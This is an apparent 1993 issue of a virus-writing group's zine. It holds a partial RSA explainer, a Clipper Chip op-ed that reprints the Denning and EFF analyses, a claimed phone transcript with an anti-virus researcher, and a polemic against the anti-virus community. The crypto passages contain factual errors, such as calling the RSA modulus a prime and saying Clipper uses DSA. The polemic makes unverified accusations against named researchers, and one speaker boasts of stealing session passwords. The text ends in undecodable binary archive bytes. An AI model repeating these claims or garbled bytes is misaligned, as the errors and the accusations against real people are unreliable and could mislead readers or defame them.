integers and you're always working with a finite set of integers. Therefore, results of addition, subtraction, multiplication and division will _always_ land in the set defined by the modulus. (huh? how can that be?) As with the clock theory, the numbers "wrap around", meaning if the modular of 50 is a set of integers from 0 -> 49, once we reach 49 (the largest number) and add 1, we would get 0. The number 49 will wrap around to 0, and the reverse is true (0 wraps around to 49). The great think about modular math, is that it's finite, you don't have to worry about calculations yielding numbers that grow out of control, and also, since we are working with integers, you don't lose any information through round-off errors as you would with floating-point. Back to our formula; C=M^P(mod N) where C is the encrypted message, notice the message will be represented as numbers, you can use the ASCII value of each characters. See it's not hard to find two large prime numbers (a and b) but if I hand you their product (N), you will perhaps never find a and b again! So in RSA, you get a huge 512-1024 bit prime number which is the product of two large primes, a and b. The number N is made public, while a and b remains secret. And after the formula is completed the encrypted message cannot be cracked without factoring N! Now to decrypt the message we use the some-what same formula with different factors; M=C^p(mod N) (Note: This is lower case `p') where `p' (lower case) is the secret key. The secret key is calculated using the formula; P x p = 1(mod L) where L is the least common multiple of (a-1) and (b-1). In mathematical terminology, `p' is the multiplicative inverse of `P' in the modulus L. Algorithms are available for computing least common multiples and multiplicative inverses in modular arithmetic. You can look-up theses formulas for more understanding in almost any good college mathematic book, as I cannot teach you math in a matter of paragraphs. But I suspect most of the readers already know such basic mathematical skills. Anyhow, RSA has undergone quite a bit of research around its algorithm. Breaking the system requires the determination of `a' and `b', which are the factors of `N' (don't forget `N' and `P' are publicly known). Once you know `a' and `b', the factors of `N', you can easily calculate L. Knowing L and P, you can calculate `p' (lower case), and decrypt the ciphertext. This boils down to the task of factoring a number into its prime components, an ongoing popular problem in number theory that continues to occupy the minds and computers of mathematicians around the world. In October 1988, it took an international group of computer scientists nearly a month to factor a 100-digit number. More than 400 computers worked on the problem during idle hours to find the number's two factors. One 41 digits long, the other 60 digits long. In June 1990, another team factored a 155-digit number. The number was hand-picked to make the task easier, but it still took 275 years worth of ONE computer's time. To keep pace with even-faster computers RSA's inventors can simply add more digits to the system's key. ================================================================================================================================================================ Volume 1, Issue 6, May 1993 NuKE Info-Journal #6 NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE uK E- KE "Clipper Chip : New Government Standard? -N E- or New Government Joke?" Nu -N uK Nu By KE uK NuKE Supporters E- KE -N E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu % New Government Standard or Joke? % Since the beginning of the new year, we have been waiting to hear from NIST if it will decide whether DES will remain as the standard encryption method used by federal agencies. The computer industry would like NIST to adopt the RSA technology, but that is not likely to happen. One reason; if RSA, a privately developed technology, becomes the new standard, the government will have to pay royalties for its use. And _even_ more important, the NSA does not want the government to back RSA encryption system. Why? "The NSA dislikes our system because its too hard to break!" "They clearly don't like what we do, but we're succeeding in spite of that." Are quoted statements explained by James Bidzos, president of RSA Data Security. And frankly, this is very true. RSA has been developed in the 1978, more that 15 years ago! After so many years of resisting Public-Key encryption systems, the government _finally_ endorsed one as a new National Standard! Unlike RSA, however, the government's DSA (Digital Signature Algorithm) depends on a single government-issue _prime number_. Where's the trust? I stated this in the previous info-journal, that the NSA would _never_ introduce an encryption system that is unbreakable, by them! The `Clipper Chip' uses the known to exist government's DSA system. What the government is saying is this: "Take a P! Not any P! this P!" (Read Article concerning RSA to understand RSA public-key algorithms) What good is it if we are `tricked' to use a P (prime number(s)) that the government issues? It only means that the government (NSA) wants the cipher to be, perhaps, unbreakable to the average public. But if NSA wishes to un-cipher your cipher, and you are using this government standard, it can _easily_ do so with easy. Its not that you don't trust anybody, its that you don't trust everybody. And `everybody' includes the government! Why should we let the government get the upper hand, again! We got exploited the first time with DES, and now its trying to do the exact same all over again. % Clipper Released % I take into grant that everybody has read the document on the Clipper Chip, that was release by The White House, office of the press secretary. If not; you may obtain a copy by calling up a NuKE-NeT system and looking through old messages posted in the General message base. Or you can get the file via an anonymous file transfer (ftp site) from csrc.ncsl.nist.gov in directory /pub/nistnews and via the NIST Computer Security BBS at 301-948-5717. A copyrighted article in the Friday May 7th, 1993 `Washington Post' describes a letter sent to President Clinton by 30+ major electronics companies and trade associations, expressing their concern about the Clipper chip. The article describes what the Clipper chip is, and explains that it was developed to allow encryption of voice and fax with a method for law enforcement to listen in when authorized. It summarizes the key aspects of the chip, and says: Since the White House proposed the plan three weeks ago, many in the computer and communications industries have responded with scepticism. Critics wonder how good the secret government technology really would be and worry that agencies might abuse it to tap calls without court orders. A NIST spokesman said they haven't read the letter yet, but commented that Clinton has made it clear he wants industry participation. Signers of the letter include IBM, AT&T, Lotus, Microsoft, McCaw Cellular and MCI, as well as the ACLU. The article notes the apparent conflict between AT&T signing the letter and its stated intention to use the chip. AT&T response was that they're just seeking clarification and do not oppose Clipper. Lets take into grant on the structure of Clipper and DES. DES differential cryptanalysis give you an 2^56 (56 bit key) rippling back through 16 stages. Clipper is said to use 32 rounds, where the key is extended to 2^80 (80 bits). Current personal computer desktop allows forced attacks of up to 2^50. This means that 2^80 for brute force key search is clearly unpractical for a few years to come. When DES was named as the standard 20 years ago, we clearly knew that the algorithms relied more on the S-boxes structure than on the key input. Enabling NSA to have a `backdoor' on DES, and the upper-hand in crypto technology. Clearly whatever computer power the NSA had 20 years ago, is surely _more_ power or equal power to what most desktop computers can do today. So surely, an 80 bit key can be easily broken via brute force attacks in perhaps the next 1-2 following years. But does the NSA contain an advantage that can `instantly' decipher the cipher code? If it depends on the government's DSA issue prime numbers, certainly that power exists. The movies `Sneakers' hints this issue, and we regard it as SciFi, fiction, entertainment purposes only! Look deeper, a lot deeper, isn't it hinting this theory exactly? I leave you with a technical summary of the Clipper Chip by Dorothy Denning, and a EFF analysis of the proposed Clipper Chip. Theses articles are distributed along the `As-is' basis, as that is how they were both publicly posted inside Internet Newsgroups. (sci.crypt) % The Clipper Chip : A Technical Summary % Newsgroups: sci.crypt Subject: THE CLIPPER CHIP: A TECHNICAL SUMMARY Date: 19 Apr 93 18:23:27 -0400 Distribution: world Organization: Georgetown University The following document summarizes the Clipper Chip, how it is used, how programming of the chip is coupled to key generation and the escrow process, and how law enforcement decrypts communications. Since there has been some speculation on this news group about my own involvement in this project, I'd like to add that I was not in any way involved. I found out about it when the FBI briefed me on Thursday evening, April 15. Since then I have spent considerable time talking with the NSA and FBI to learn more about this, and I attended the NIST briefing at the Department of Commerce on April 16. The document below is the result of that effort. Dorothy Denning --------------- THE CLIPPER CHIP: A TECHNICAL SUMMARY Dorothy Denning April 19, 1993 INTRODUCTION On April 16, the President announced a new initiative that will bring together the Federal Government and industry in a voluntary program to provide secure communications while meeting the legitimate needs of law enforcement. At the heart of the plan is a new tamper-proof encryption chip called the "Clipper Chip" together with a split-key approach to escrowing keys. Two escrow agencies are used, and the key parts from both are needed to reconstruct a key. CHIP STRUCTURE The Clipper Chip contains a classified 64-bit block encryption algorithm called "Skipjack." The algorithm uses 80 bit keys (compared with 56 for the DES) and has 32 rounds of scrambling (compared with 16 for the DES). It supports all 4 DES modes of operation. Throughput is 16 Mbits a second. Each chip includes the following components: the Skipjack encryption algorithm F, an 80-bit family key that is common to all chips N, a 30-bit serial number U, an 80-bit secret key that unlocks all messages encrypted with the chip ENCRYPTING WITH THE CHIP To see how the chip is used, imagine that it is embedded in the AT&T telephone security device (as it will be). Suppose I call someone and we both have such a device. After pushing a button to start a secure conversation, my security device will negotiate a session key K with the device at the other end (in general, any method of key exchange can be used). The key K and message stream M (i.e., digitized voice) are then fed into the Clipper Chip to produce two values: E[M; K], the encrypted message stream, and E[E[K; U] + N; F], a law enforcement block. The law enforcement block thus contains the session key K encrypted under the unit key U concatenated with the serial number N, all encrypted under the family key F. CHIP PROGRAMMING AND ESCROW All Clipper Chips are programmed inside a SCIF (secure computer information facility), which is essentially a vault. The SCIF contains a laptop computer and equipment to program the chips. About 300 chips are programmed during a single session. The SCIF is located at Mikotronx. At the beginning of a session, a trusted agent from each of the two key escrow agencies enters the vault. Agent 1 enters an 80-bit value S1 into the laptop and agent 2 enters an 80-bit value S2. These values serve as seeds to generate keys for a sequence of serial numbers. To generate the unit key for a serial number N, the 30-bit value N is first padded with a fixed 34-bit block to produce a 64-bit block N1. S1 and S2 are then used as keys to triple-encrypt N1, producing a64-bit block R1: R1 = E[D[E[N1; S1]; S2]; S1] . Similarly, N is padded with two other 34-bit blocks to produce N2 and N3, and two additional 64-bit blocks R2 and R3 are computed: R2 = E[D[E[N2; S1]; S2]; S1] R3 = E[D[E[N3; S1]; S2]; S1] . R1, R2, and R3 are then concatenated together, giving 192 bits. The first 80 bits are assigned to U1 and the second 80 bits to U2. The rest are discarded. The unit key U is the XOR of U1 and U2. U1 and U2 are the key parts that are separately escrowed with the two escrow agencies. As a sequence of values for U1, U2, and U are generated, they are written onto three separate floppy disks. The first disk contains afile for each serial number that contains the corresponding key part U1. The second disk is similar but contains the U2 values. The third disk contains the unit keys U. Agent 1 takes the first disk and agent 2 takes the second disk. The third disk is used to program the chips. After the chips are programmed, all information is discarded from the vault and the agents leave. The laptop may be destroyed for additional assurance that no information is left behind. The protocol may be changed slightly so that four people are in the room instead of two. The first two would provide the seeds S1 and S2, and the second two (the escrow agents) would take the disks back to the escrow agencies. The escrow agencies have as yet to be determined, but they will not be the NSA, CIA, FBI, or any other law enforcement agency. One or both may be independent from the government. LAW ENFORCEMENT USE When law enforcement has been authorized to tap an encrypted line, they will first take the warrant to the service provider in order to get access to the communications line. Let us assume that the tap is in place and that they have determined that the line is encrypted with Clipper. They will first decrypt the law enforcement block with the family key F. This gives them E[K; U] + N. They will then take a warrant identifying the chip serial number N to each of the key escrow agents and get back U1 and U2. U1 and U2 are XORed together to produce the unit key U, and E[K; U] is decrypted to get the session key K. Finally the message stream is decrypted. All this will be accomplished through a special black box decoder operated by the FBI. ACKNOWLEDGMENT AND DISTRIBUTION NOTICE. All information is based on information provided by NSA, NIST, and the FBI. Permission to distribute this document is granted. ------------------------------------------------------------------------------- % EFF Analysis of the Clipper Chip % April 16, 1993 INITIAL EFF ANALYSIS OF CLINTON PRIVACY AND SECURITY PROPOSAL The Clinton Administration today made a major announcement on cryptography policy which will effect the privacy and security of millions of Americans. The first part of the plan is to begin a comprehensive inquiry into major communications privacy issues such as export controls which have effectively denied most people easy access to robust encryption as well as law enforcement issues posed by new technology. However, EFF is very concerned that the Administration has already reached a conclusion on one critical part of the inquiry, before any public comment or discussion has been allowed. Apparently, the Administration is going to use its leverage to get all telephone equipment vendors to adopt a voice encryption standard developed by the National Security Agency. The so-called "Clipper Chip" is an 80-bit, split key escrowed encryption scheme which will be built into chips manufactured by a military contractor. Two separate escrow agents would store users' keys, and be required to turn them over law enforcement upon presentation of a valid warrant. The encryption scheme used is to be classified, but they chips will be available to any manufacturer for incorporation into their communications products. This proposal raises a number of serious concerns . First, the Administration appears to be adopting a solution before conducting an inquiry. The NSA-developed Clipper chip may not be the most secure product. Other vendors or developers may have better schemes. Furthermore, we should not rely on the government as the sole source for Clipper or any other chips. Rather, independent chip manufacturers should be able to produce chipsets based on open standards. Second, an algorithm can not be trusted unless it can be tested. Yet the Administration proposes to keep the chip algorithm classified. EFF believes that any standard adopted ought to be public and open. The public will only have confidence in the security of a standard that is open to independent, expert scrutiny. Third, while the use of the split-key, dual-escrowed system may prove to be a reasonable balance between privacy and law enforcement needs, the details of this scheme must be explored publicly before it is adopted. What will give people confidence in the safety of their keys? Does disclosure of keys to a third party waive individual's fifth amendment rights in subsequent criminal inquiries? In sum, the Administration has shown great sensitivity to the importance of these issues by planning a comprehensive inquiry into digital privacy and security. However, the "Clipper chip" solution ought to be considered as part of the inquiry, not be adopted before the discussion even begins. DETAILS OF THE PROPOSAL: ESCROW The 80-bit key will be divided between two escrow agents, each of whom hold 40 bits of each key. Upon presentation of a valid warrant, the two escrow agents would have to turn the key parts over to law enforcement agents. Most likely the Attorney General will be asked to identify appropriate escrow agents. Some in the Administration have suggested one non-law enforcement federal agency, perhaps the Federal Reserve, and one non-governmental organization. But, there is no agreement on the identity of the agents yet. Key registration would be done by the manufacturer of the communications device. A key is tied to the device, not to the person using it. CLASSIFIED ALGORITHM AND THE POSSIBILITY OF BACK DOORS The Administration claims that there are no back door means by which the government or others could break the code without securing keys from the escrow agents and that the President will be told there are no back doors to this classified algorithm. In order to prove this, Administration sources are interested in arranging for an all-star crypto cracker team to come in, under a security arrangement, and examine the algorithm for trap doors. The results of the investigation would then be made public. GOVERNMENT AS MARKET DRIVER In order to get a market moving, and to show that the government believes in the security of this system, the feds will be the first big customers for this product. Users will include the FBI, Secret Service, VP Al Gore, and maybe even the President. FROM MORE INFORMATION CONTACT: Jerry Berman, Executive Director Daniel J. Weitzner, Senior Staff Counsel Internet Address: eff@eff.org =============================================================================== ================================================================================ Volume 1, Issue 6, May 1993 NuKE Info-Journal #6 NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE uK E- KE "Lies, Scandals, and Roomers of the Anti- -N E- Virus Community" Nu -N uK Nu By KE uK Alan Soloman, ARiSToTLe, Rock Steady E- KE -N E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu The following are the _exact_ conversation/interview between Aristotle, Rock Steady, and Alan Soloman, concerning the virus problem of today. The conversation was recorded by Rock Steady, the NSA (naturally), and Unitel whom alerted the RCMP because this was a 5 hour conference billed onto NuKE's own PBX, whom Unitel thought was suspicious so they killed our PBX! (Gezz talk about trust!) Nothing here has been recreated, this conversation was recorded on tape, rather in bad quality though, but nevertheless it will stand against any accusation of fabrication, which it is not! PS: Don't forget to read the conclusion at the end of the coversation, if you must read one thing, may it be the conclusion. % In the Beginning... there was light, then Rock, and of course Aristotle % NOTE: RS=Rock Steady ; AR=Aristotle ; SO=Alan Soloman ; ??= Mrs ? ??> Hello, may I help you? AR> Alan Soloman Please. ??> Who's calling? AR> John SO> Hello? AR> Hi, how you doing? If your not busy, ah.. you know Rock Steady is here on the phone with me. SO> Yeah AR> And I wanted to ask you a couple of things if I could. SO> Yeah AR> That article came out in VNI. [Virus News International; its a magazine] SO> Which one AR> The one that came out in the May issue. SO> Yeah AR> Who's the author of that? SO> Which article are you talking about? AR> The one that says `Back in Business' SO> ah, I don't know which is the article you are referring to. AR> ah, John , also known publicly as- SO> The trouble is ah, its been a few weeks since I read it. Does it have an author to it? AR> No. SO> Then its written by the editor. AR> Its written by Paul, okay I've talked to Paul about it. Okay I've twice seen in there whereby you have written articles and tossed me into it. SO> Toss you into what? AR> ah a couple of articles where you mention my name. SO> Did I say anything that wasn't true? AR> ah, that's not what I'm getting at. That's not what I'm calling about. What I'm calling about, is this particular article where they mention the school and everything. SO> Yeah AR> I spoke to Paul the other day, and he sent me a copy in the mail. SO> Yeah AR> So I was wondering, is there going to be a retraction on it? SO> Is it not true then? AR> Na- RS> What right gives you- SO> But you told me you were a student at- AR> No, no, no, about being Back in Business. It stated three times that I publicly stated that I was closing my system. SO> Well I'm confused- RS> That's a start SO> ah, I got a fax, no its an email, I forget now, this was a few months ago. Were you were offering viruses for sale. Is that not the case? AR> Na, that's not the case. SO> Something you posted on Fidonet. AR> I didn't know that I posted it! SO> Its good forgery, if its not you that did this. AR> Well, my points is- SO> Want me to call you back, this is costing you a fortune. AR> That's okay I can handle it. [Yeah sure RS is paying this 3-way] RS> AR> Reason I had Rock Steady call was, we were talking 'bout this as well. ah- SO> When I talk about your position, the position is that your positioned in William & Mary's college, or you graduated? AR> I graduated! SO> So your no longer with the college. AR> I graduated from the college, ah after this issue came out. But the point of it is this, it states in here real clearly that I'm Back in Business! And that I have forgotten my pledge, kay! I think I went back into business when I change to VR, there's nobody on my board! SO> So your not offering viruses any more? AR> I haven't since that day I told you. See I have ten people, believe or not, their all AV. SO> Who are there. AR> has some boys that like to call me from time to time. SO> What do you mean `his boys' AR> Some people he's got working for him. They call me up. SO> The trouble is, I don't know what you mean by the AV. AR> Well AntiVirus researchers, people that do beta testing for AntiVirus software. SO> The trouble is, anyone can call and say their AV. AR> Well okay, anybody can call themselves a virus writer. I', pr- SO> Ththth-that's why I'm asking you- AR> I'm really pissed off about this, okay. The way they mention my name in there, okay, they basically came out and said I was fire! This guy on the phone right now, knows for a fact that I've been doing research for this crap for a year now. And a- SO> Sorry, this guy you say, you mean Joe? [Joe Greco aka Rock Steady] AR> Yeah, okay... Joe? RS> Yeah AR> okay, anyway this stuff has been going on you know, and its been nothing but research. I told Paul Robison to call the school! And formally request that article and he can have it. SO> What's the phone number. AR> ah, okay, ah area code 804-221-4000 is the main number. SO> And who is the article with. AR> ah, Kenny Chang SO> So who's posting all the messages saying your selling viruses? AR> I don't know. SO> Because they seem to be coming- AR> Well I'll tell yeah RS> Do you have those posts we'd like to see them. SO> I could faxed them to you. Gimme a fax number AR> I don't have a fax number RS> Well I'm unwilling to give you my fax number. SO> Well I received them as a fax. AR> Well that's my point, the school is rather pissed off about this as well. SO> Allow me to fax them too? AR> well I dunno, if somebody's posting out there, I can take and change my system right now. I can phreak one of these password files from any front- door, and when I get in, I can get anybody's session password, and change my damn fido feed to anybody in the world. RS> Are to willing to receive a copy from the mail Aristotle, yes or no? AR> Sure I'll take a copy by the mail. RS> or I can make him send it the NuKE PO Box. AR> Sure, that's fine. RS> Okay Alan, I call you back in a week to give you our PO Box to receive that fax. SO> I could do that AR> Yeah, I'd like to have that. Now here's what it is...okay...I've been looking at this stuff upside down, and one-the-other, and there's a whole lot of thinks I was unhappy about. Alan I'm really pissed about this one. SO> What are you pissed about? AR> What am I pissed about! Damn Alan, you know. For a year know everyone knows that I'm here straighten this crap out. Between Sara Gordan's posting out there about VX-Net being an underground exchange network, and all this kind of horse-shit and everything. And this article coming out here, saying I'm a student in this school, now why did you have to put that in there? SO> Well because, what you say, was that you were doing this project. AR> But nobody mentioned that! SO> You said that! AR> But in the article it doesn't say anything about this damn research thing! The only thing that is said is that I'm a student at William and Mary's, It doesn't mention the fact that I'm doing research for the school! RS> Of course it all ends up that they pick out what they want, and paint a different picture of you! AR> I've always been pretty straight with you. You know Sara Gordon walks around saying, "I'll never log on to a bulletin board, never, never, never!" [Meaning a `Virus' exchange bulletin board] SO> Its been a few weeks since I read that article, can I call you back while I go get a copy of this article. Wait, I'll see if I can get it... SO> Sorry, I can't seem to find a copy in the house. See you called me at home, rather than the office. What did the article say? AR> It said, "John , also known publicly under the name Aristotle, sysop of The Black Axes BBS. One of several names used my Mr. John, recently announced, the self-imposed shut down of his bulletin board system. For a while it looked like there would be no more viruses for sale, or given away free, depending on who you were! ..... John's a student at William and Mary's college, has apparently forgotten his pledge and is back in business! AR> Now then, there's a hole lot of people here running around, saying all sorts of things. Lemme ask you something, a lady under the name Katy, no, Cary something. SO> Cary, Cary Lang? AR> Yes, she says she works for you! ok? SO> Not quite true. AR> Well she also states she was on my board, and she from Finland! SO> Well, Cary Lang is finish, doesn't work for me, works for a company, called "Land Vision" AR> Same place with that guy `Dire', Kaluco Janhontalo or something like this. Now this lady (Cary), was posting in the echoes, in response to some letter saying `John's boards down you know...' She comes out and says, "NO, its up, plenty of viruses, I was on there today." She used in her tag line, "Works for Dr. Alan Soloman" SO> Let me give you the accurate information on Cary, Cary isn't a lady, Cary is a man. AR> Pardon me. SO> Secondly, he works for a company called Land Vision, and sell our AntiVirus toolkit. AR> Well that lady- SO> He's not a lady. AR> Well okay, that person- SO> MAN AR> okay, that man was never on my board, the only fidish person on my board, is that guy named Janhontalo, okay. SO> Doesn't ring a bell. AR> Well, I'm kinda disturbed but it, cuz I believe when the school kicks back up, and they read this, huh.... The only person that knows about this right now is the dean. SO> Well I think, that if certain of my views were not true, then certainly we would do a retraction. AR> The chancellor of the college will be, very shortly, Margaret Thacher. SO> Really? AR> Oh Yes! She'll be the chancellor of the 1st of July, 1993. SO> So what is the true situation? So what you said was, that you took the Black Axes down? AR> No! What I said was the virus exchange, the virus stuff, is down! SO> So the Black axes is still running? AR> Yes. SO> Do you have any viruses on it? AR> For download, NO. There are 10 people that have access to that, on my board. SO> So there are no viruses for download? AR> Only 10 people have access to that, on my board! SO> Who are they? AR> ah, sure if you wanna do that, sure! You want me to name who's on there? SO> Yeah. AR> Some of these people are going to be mighty upset! These are AntiVirus software people. Joe knows these people call, I know when he writes something he doesn't go off to these people and tell them... AR> You know many don't trust my judgment, on whom I give theses viruses to, is what this all comes down to. How come then so many of my viruses have the S & S International logo in them? SO> Frankly, I'd like to know that too. [S&S International is Solomans Company.] AR> Well I already got the connection made! Well we've talked about David Chess, and he is suspected with trading with McAfee. SO> Suspect is the wrong word, I think he does! AR> Alright then, also we have a fellow by the name of Joseph Whales. Joe Whales is good buddies with guys in the NCSA, I got the whole NCSA collection! I got everything David Stang has put his hands on! SO> Most of it is junk, you know that! [NCSA Virus Collection] AR> Well there is more in there than just junk. SO> That's true, I'm not saying its all junk. I keep seeing these files beginning with exclamation marks, going round, and round, and round. AR> I got the entire collection, I got 8 megs of junk! SO> That's nothing I got 110 megs of junk. [Glad to see your proud of it!] AR> Now then, this guy on the phone with me right now (Joe) doesn't write viruses to put on peoples systems and NuKE the whole world! That's _not_ what we both do. I'm just interested in where they go, and what disturbs me is all the people running around out there, claiming this `Big Threat' You even stated in your articles that many in my collection were viruses, but there was an afoul lot of junk. SO> Yes, that right. AR> True, no problem with that. But that's the representative of what's going around the country! See, this is what is represented on what's out there. And its not that big a threat! SO> Its not that big of threat, for what? AR> ARCV is being busted and charge for some viruses they didn't write Alan! SO> Which viruses? RS> All of them! AR> Well they didn't write the McWhale, or the KoolMac... SO> Why do you say they're being busted for those viruses? AR> Because it listed in an article, by someone up there in Scotland Yard, saying if anybody got infected by any of these viruses, to contact them! SO> I don't know where Scotland Yard got the idea they wrote McWhale, I could have told them that! AR> All of them are MPC viruses, nothing more. SO> Well wait a minute, it depends on whom you believe is a member of ARCV! AR> Do they think I'm a member of ARCV? SO> Well Apache Warrior has been telling them that you are! AR> Hah, I'm in the United States, and your telling me I'm a member of ARCV! RS> ARCV is SOLELY England SO> Well that's what he has been telling them! Ask Apache Warrior. AR> Well I didn't know this. SO> Yes you did! AR> That I've been a member of ARCV? SO> You knew his been saying that! RS> Since when, do you want to clarify this. SO> Since when what? RS> You say John knows, what makes you so sure? SO> Because the last time I spoke to John 2-3 months ago.. AR> I know we talked about him, and I know he narced all his friends! But I don't think you told me, that he said I was a member of ARCV! RS> Alan do you have a copy of the ARCV news-journal? Their first news journal and only news journal, all members are listed inside there, and Aristotle is not listed inside there. SO> Do you have a copy of the second journal? RS> The second journal was never released. SO> ah, John's got a copy. AR> Of the Second Journal? RS> The second journal does not exist. SO> John's got a copy. AR> Tell me which one its in now, and I'll look it up! Is it in the collection I sent you? SO> Yeah. AR> Does it have me listed in that? SO> No, it doesn't. AR> This why I keep hearing feedback, of people wanting to extradite me to england. SO> Possibly, I can well imagine. AR> Based on what a 19 year old phreaker has said. And also now, with my name going around being `Back in Business'... SO> Well I don't know what he's basing that claim with, if he's got any files, or anything. I don't know. What I do know is that six months ago, he was facing fairly big trouble. AR> And because he's been talking... well you know... SO> He was facing big trouble, because he got caught stealing large amounts of telephone time from his next door neighbour. In an extraordinary stupid manner, by the way. AR> Yeah I know, he just went backdoor and plug a phone line into it... SO> There's no way he could of gotten away with that. AR> Humm, interesting. So how can I get Scotland Yard to call me? SO> You can call them, I'll give you the phone number. AR> Naa, wouldn't do any good. So like once this trail starts, they may bring me over? SO> I don't know, you can send them a letter. The person in charge of the case in Scotland Yard is, Inspector John Hoston. AR> humm okay. SO> I can understand why your pissed off. But Joe, what's your development in this? Why you part of the phone call? RS> Why not? SO> There's no reason why not. AR> I'll tell you why, cuz I asked him, as I'm putting an article in NuKE Info six. It basically explains my side, on how everything transpires. SO> Did Nowhere Man really write the NuKE Encryption Device, by himself! RS> Yes he did, why? SO> Well because I saw it. RS> Well that was just a Beta Release v.90. SO> No, I've seen the final! RS> uh? What version do you have? SO> oh sorry, we're not suppose to? RS> version .90. SO> No its version 1.00 RS> That does not exist! SO> I've got a thing that calls itself the N.E.D. v1.00, it mind be of course. RS> I'll tell you right now, it version .90 SO> Is there some bytes I can read out to help to identify it? RS> Not really, because version 1.00 changed dramatically. In most part this was the main concern of the conversation, we wanted to bring out. Surely, this is only 1/5 of the total conference, as a matter of fact this was the first hour of the conference, and by tone of voice, it was fairly hostile. But, we are not one to racially judge a person because of his ethnic surroundings, or occupation in life, so it would only be fair to say that Alan Soloman was fairly a reasonable man to talk to. Interesting enough Alan did remove his safeguard, so who said Soloman's package was unbeatable? The rest of the conversation, did focus on ideas, ideologies, morals and some of the unexpected problems due to this structured AntiVirus bludgeon. Problems you say? Who would have expected such a problem? The community responsible to `Clean-Up' the virus problem has done a good job in that, but who would have expected them to leave behind a muddy trail of destruction where they go? It all begins with the first Anti-Virus package, determined to detect and wipe-out any known virus out there. Note the word `KNOWN'. So basically, you would have to collect, if you may say so, and perhaps have people collecting for you, viruses so that you may add them to your Anti-Virus package to gain the cutting edge over your competitors. Now then, the remaining successful virus packages have somewhat localized, in a geographic state. McAfee Scan has dominated North America, Vet7 has dominated the Australia and Asian region. You can conclude that Frisk has gained a fair amount of support in Europe, as well as Solomans package. Now then, this is only because of geographic location. If someone in California notices a new virus, the first person he'll call and give this virus to is, naturally, McAfee. The same goes for Soloman and people crying in England (UK). Now, to gain that cutting edge, wouldn't you need all of those viruses across the world, so you may even begin to gain world-wide market share support? Naturally, so what do you do? You can form alliances with other Anti-Virus programmers, but that isn't enough, and perhaps unfair! Unfair is a sense, that an alliance with Soloman and McAfee would be to Soloman's advantage, surely McAfee covers a wider population and receives new viruses at a must faster pace compared to the England counter part. So we're stuck between a rock and a hard place, again. Hey, , why not form an association with members pertaining to all these continents, and bring upon our collection together to form an Even Bigger collection? Sure! Great idea! Lets call it NCSA! Yeah! Then another newfy pops up and screams, CARO! Yeah, another group. But what happens now? To our amazement, we have gentlemen, roaming the under- ground technodrome, mission: collect new viruses. Having no statute they will resort to anything in order to gain new viruses. Somehow, our "hero's" that claim to save us from the virus problem, are low-down, bottom of the food chain infantile, resorting to unmoral methods to gain viruses. huh? Explain? humm, I will use myself as an easy example. I, Rock Steady, along with Pure Energy manage a bulletin board known as Cybernetic Violence. The main head quarters of NuKE, we're looked upon as `evil-doers', misdirected youths, bullies that now know how to type, scum, satan's helpers I believe you get the picture? And yes, it isn't a pretty one for sure, you may call this harassment, as a matter of fact it _is_ harassment. Now then, where can you get the latest virus put out by the intellectual challenged mind? Of course, the mischievous virus groups. Oh no, this guy won't give me virus access unless I show him I'm `deserving' of it. Okay I got it, let me upload you my whole NCSA, virus collection... Get the picture? Yes, we all heard it before, I'm a deranged lair. The Anti- Virus community is _not_ maniacal to associate themselves with us. We all heard of Sara Gordon screaming out, `I never called an underground exchange board', she will never admit it. Nevertheless Sara Gordan holds the phone number of Cybernetic Violence, Black Axes, The Hell Pit, etc, etc. Sara doesn't associate herself with low-lives like ourselves, as she explains. Nevertheless, she has CLAIMED to have called up The Hell Pit BBS, and uploaded 3 fake viruses and exclaims how easy it was to obtain virus access there. Now there's a contradiction. Now who are you going to believe? Rock Steady, with a record for hacking, and suspected of other cyber-crimes, or Sara Gordan with not even a bug-stain on her record? Wait, let me tell you some more. Sara Gordan is not totally `white', since Sara doesn't associate herself with `us', I guess the conversation we had concerning her wanting to invite a person called `Nowhere Man' to dinner was a figment of my imagination. Also, the crap she said to me, about getting her in contact with virus writers in Australia, was a figment of my vivid imagination. Come on Sara, I heard it and you said it. Of course, this is simply my word against yours. Son of a gun Sara, didn't you hear all them `clicking' noises during our conversation? There was someone else on the line Sara! Someone, that kept on receiving calls, and therefore he/she had to switch and answer the call, via MaBells `Calling Waiting' service. See I guess this isn't after all, just a figment of my imagination. Since I conference the call, my phone bill supports the fact that TWO calls were made at the same time from my number! One was to the alledged person in the background while the other was yours! (Sara) Oh yes, I'm a bored teenager derange liar wanting to bust balls. Frankly, no one admitted in NuKE is a teenager. Frankly I'm currently in a respectable banking position, nevertheless I still am pursuing my Masters in Mathematics, and may this even lead to a Ph.D., of course by then I'm expected to sprout out of my satanic puberty stage and into adulthood. Even though I'm way passed the legal adult age, may you still say its a hormone thing. Frankly, when just is not done and lies are tossed over to the public, discrediting our history, with your influence of power. Until that day of just, until that day of truth comes out, then that will be the day you will get rid of me. You see this isn't about me, this is about the you. This isn't something you `mature out of', when do you mature out of injustice? In what point of life is injustice okay? The Virus problem has been solved, now what about the Anti-Virus Problem? Rock Steady NuKE: The Anti-Anti-Virus Group! ================================================================================ PK�1��+볻# NK-INFO6.000쵽]s珉}쭒��빆JH);풃�~� 8�u촼핵��M1싓�덏p�쓳컢1퍄틷P줊彖�t� 굵/慟l� x�5 쉷뗡벏폞�$g쨝f8I&舌d��~bq�1 濁�J쭸捌킙袍x칤l썚 ~>묷VB㎓;|櫓^4�}��Φ }*J톨솴瞋�4삵=d鬧匯����휮�셗��9��`�V�$l�*�IV[ �3!角줹lN(/�,A2'쀐g뮙 ^�$C툟�8쎉a5� �O�_冶W-� wJ쿿[j�u�뤄韻�Wwp[淡�M얨� O혙 왋웤#\얲����X股좋A脘�$Y#��헷p앆Q6둚쏒놎`쏾�恂誡�쁋�눱Y,밞쯃녿�핯�S퍮둍숈Vl�먵�{봲쀚`풜�a卽좄S^X� �쁙휥 뫶뷃�=닳�8止켾#,쑿�pGU감삈��;=7&묬WK� �>�>띬殮<즈CW딀듿��G{&�(Jp퐌\|b꿶�^W/��3^哺L�굀樟@�0ム렻챁�2�)궯W�쵄1Y予�)}*株問춨�3R퉮K� 모<녀봧L=w꺏�뾥2J5쑡닾挑떹m멕v�]e쪁틞M���긎V��]/꼑�z&0紹�>걌�� 